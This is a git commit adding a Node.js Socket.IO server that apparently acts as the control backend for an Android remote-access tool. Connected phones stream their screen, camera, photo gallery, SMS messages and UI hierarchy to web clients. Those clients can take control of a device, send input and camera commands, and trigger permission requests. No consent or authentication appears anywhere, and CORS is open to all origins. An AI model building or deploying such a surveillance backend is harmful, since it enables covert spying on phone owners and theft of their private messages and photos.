This commit is contained in:
wdvipa
2026-02-09 16:34:01 +08:00
commit 450367dea2
92 changed files with 36822 additions and 0 deletions

320
src/server.ts Normal file
View File

@@ -0,0 +1,320 @@
import express from 'express';
import http from 'http';
import cors from 'cors';
import { Server } from 'socket.io';
import DeviceManager from './managers/DeviceManager';
import WebClientManager from './managers/WebClientManager';
import { DatabaseService } from './services/DatabaseService';
import MessageRouter from './services/MessageRouter';
import Logger from './utils/Logger';
const app = express();
const server = http.createServer(app);
const logger = new Logger('Server');
// CORS配置
app.use(cors({
origin: "*",
methods: ["GET", "POST"],
credentials: true
}));
app.use(express.json());
// ✅ Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
const io = new Server(server, {
cors: {
origin: "*",
methods: ["GET", "POST"],
credentials: true
},
// 🔧 心跳机制优化v4已解决心跳方向问题
pingInterval: 25000, // 25秒发送一次ping服务器->客户端)
pingTimeout: 60000, // 60秒等待pong响应
upgradeTimeout: 30000, // 30秒传输升级超时
// 🔧 传输优化
transports: ['websocket', 'polling'],
allowEIO3: false, // 不支持旧版本协议
// 🔧 缓冲区和数据包优化
maxHttpBufferSize: 10e6, // 10MB缓冲区
allowUpgrades: true,
// 🔧 连接管理
connectTimeout: 45000, // 连接超时
serveClient: false, // 不提供客户端文件
// 🔧 Engine.IO 配置
cookie: {
name: "io",
httpOnly: true,
sameSite: "strict"
}
});
// 管理器初始化
const databaseService = new DatabaseService();
const deviceManager = new DeviceManager();
const webClientManager = new WebClientManager(databaseService);
const messageRouter = new MessageRouter(deviceManager, webClientManager, databaseService);
// 设置Socket.IO实例
webClientManager.setSocketIO(io);
// 健康检查端点
app.get('/health', (req, res) => {
const stats = {
status: 'ok',
timestamp: new Date().toISOString(),
devices: deviceManager.getDeviceCount(),
webClients: webClientManager.getClientCount(),
uptime: process.uptime()
};
res.json(stats);
});
// Socket.IO连接处理
io.on('connection', (socket) => {
logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`);
// 连接质量监控
const connectionStart = Date.now();
// 设备注册事件
socket.on('device_register', (deviceInfo) => {
logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
const device: any = {
id: deviceInfo.deviceId,
socketId: socket.id,
name: deviceInfo.deviceName,
model: deviceInfo.deviceModel,
osVersion: deviceInfo.osVersion,
appVersion: deviceInfo.appVersion,
screenWidth: deviceInfo.screenWidth,
screenHeight: deviceInfo.screenHeight,
capabilities: deviceInfo.capabilities,
connectedAt: new Date(),
lastSeen: new Date(),
status: 'online' as const
};
deviceManager.addDevice(device);
databaseService.saveDevice(deviceInfo, socket.id);
// 通知所有Web客户端有新设备连接
const activeWebClients = Array.from(webClientManager.getAllClients()).filter(client => {
const socket = io.sockets.sockets.get(client.socketId);
return socket && socket.connected;
}).length;
logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
webClientManager.broadcastToAll('device_connected', {
device: deviceManager.getDevice(deviceInfo.deviceId)
});
// ui_hierarchy_response监听器已在全局设置无需重复添加
});
// Web客户端注册事件
socket.on('web_client_register', (clientInfo) => {
logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
const clientData = {
id: socket.id,
socketId: socket.id,
userAgent: clientInfo.userAgent || 'unknown',
ip: socket.handshake.address || 'unknown',
connectedAt: new Date(),
lastSeen: new Date()
};
webClientManager.addClient(clientData);
// 发送当前设备列表
const devices = deviceManager.getAllDevices();
socket.emit('device_list', devices);
});
// 屏幕数据路由
socket.on('screen_data', (data) => {
messageRouter.routeScreenData(socket.id, data);
});
// 摄像头数据路由
socket.on('camera_data', (data) => {
messageRouter.routeCameraData(socket.id, data);
});
// 相册图片数据路由
socket.on('gallery_image', (data) => {
messageRouter.routeGalleryImage(socket.id, data);
});
// 短信数据路由
socket.on('sms_data', (data) => {
messageRouter.routeSmsData(socket.id, data);
});
// 控制命令路由
socket.on('control_command', (message) => {
messageRouter.routeControlMessage(socket.id, message);
});
// 摄像头控制命令路由
socket.on('camera_control', (message) => {
// 将摄像头控制消息转换为标准控制消息格式
const controlMessage = {
type: message.action, // CAMERA_START, CAMERA_STOP, CAMERA_SWITCH
deviceId: message.deviceId,
data: message.data || {},
timestamp: Date.now()
};
messageRouter.routeControlMessage(socket.id, controlMessage);
});
// 测试连接监听器
socket.on('CONNECTION_TEST', (data) => {
logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`);
// 🔧 修复回复确认消息给Android端避免心跳失败累积
try {
socket.emit('CONNECTION_TEST_RESPONSE', {
success: true,
timestamp: Date.now(),
receivedData: data
});
logger.debug(`✅ 已回复CONNECTION_TEST确认消息`);
} catch (error) {
logger.error(`❌ 回复CONNECTION_TEST失败:`, error);
}
});
// 简单测试事件监听器
socket.on('SIMPLE_TEST_EVENT', (data) => {
logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
});
// 调试UI响应前的测试消息
socket.on('debug_test_before_ui', (data) => {
logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`);
logger.info(`🧪 测试数据: ${JSON.stringify(data)}`);
});
// 简单测试消息监听器
socket.on('simple_test', (data) => {
logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
});
// UI层次结构响应 (设备端响应)
socket.on('ui_hierarchy_response', (data) => {
logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
// ✅ 参考screen_data的处理方式直接调用专用路由方法
const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data);
logger.info(`📤 UI层次结构路由结果: ${routeResult}`);
});
// 设备控制请求
socket.on('request_device_control', (data) => {
const result = webClientManager.requestDeviceControl(socket.id, data.deviceId);
socket.emit('device_control_response', {
success: result.success,
message: result.message,
deviceId: data.deviceId
});
});
// 释放设备控制
socket.on('release_device_control', (data) => {
const released = webClientManager.releaseDeviceControl(data.deviceId);
if (released) {
socket.emit('device_control_released', { deviceId: data.deviceId });
}
});
// 客户端事件路由
socket.on('client_event', (eventData) => {
logger.info(`收到客户端事件: ${JSON.stringify(eventData)}`);
messageRouter.routeClientEvent(socket.id, eventData.type, eventData.data);
});
// 🆕 权限申请响应(设备端响应)
socket.on('permission_response', (data) => {
logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`);
logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
// 路由权限申请响应
const routeResult = messageRouter.routePermissionResponse(socket.id, data);
logger.info(`📤 权限申请响应路由结果: ${routeResult}`);
});
// 调试:捕获所有未处理的事件
const originalEmit = socket.emit;
const originalOn = socket.on;
// 记录所有接收到的事件
socket.onAny((eventName, ...args) => {
if (!['connect', 'disconnect', 'screen_data', 'device_register', 'web_client_register', 'control_command', 'client_event'].includes(eventName)) {
logger.info(`🔍 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`);
}
// 特别关注UI层次结构响应
if (eventName === 'ui_hierarchy_response') {
logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`);
logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
}
});
socket.on('disconnect', (reason) => {
const duration = Math.round((Date.now() - connectionStart) / 1000);
const quality = duration > 300 ? 'excellent' : duration > 60 ? 'good' : duration > 30 ? 'fair' : 'poor';
logger.info(`📴 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`);
// 更新数据库中的断开连接记录
databaseService.updateDisconnection(socket.id);
// 移除设备或Web客户端
const device = deviceManager.getDeviceBySocketId(socket.id);
if (device) {
logger.info(`📱 设备断开: ${device.name} (${device.id})`);
deviceManager.removeDevice(device.id);
// 通知所有Web客户端设备已断开
webClientManager.broadcastToAll('device_disconnected', {
deviceId: device.id
});
} else {
// 可能是Web客户端断开
const clientRemoved = webClientManager.removeClientBySocketId(socket.id);
if (clientRemoved) {
logger.info(`🌐 Web客户端断开: ${socket.id}`);
}
}
});
});
// 全局错误处理
process.on('unhandledRejection', (reason, promise) => {
logger.error('未处理的Promise拒绝:', reason);
});
process.on('uncaughtException', (error) => {
logger.error('未捕获的异常:', error);
process.exit(1);
});
const PORT = process.env.PORT || 3000;
server.listen(PORT, () => {
logger.info(`🚀 服务器启动在端口 ${PORT}`);
logger.info(`📊 健康检查: http://localhost:${PORT}/health`);
logger.info(`🔧 Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`);
});
export default server;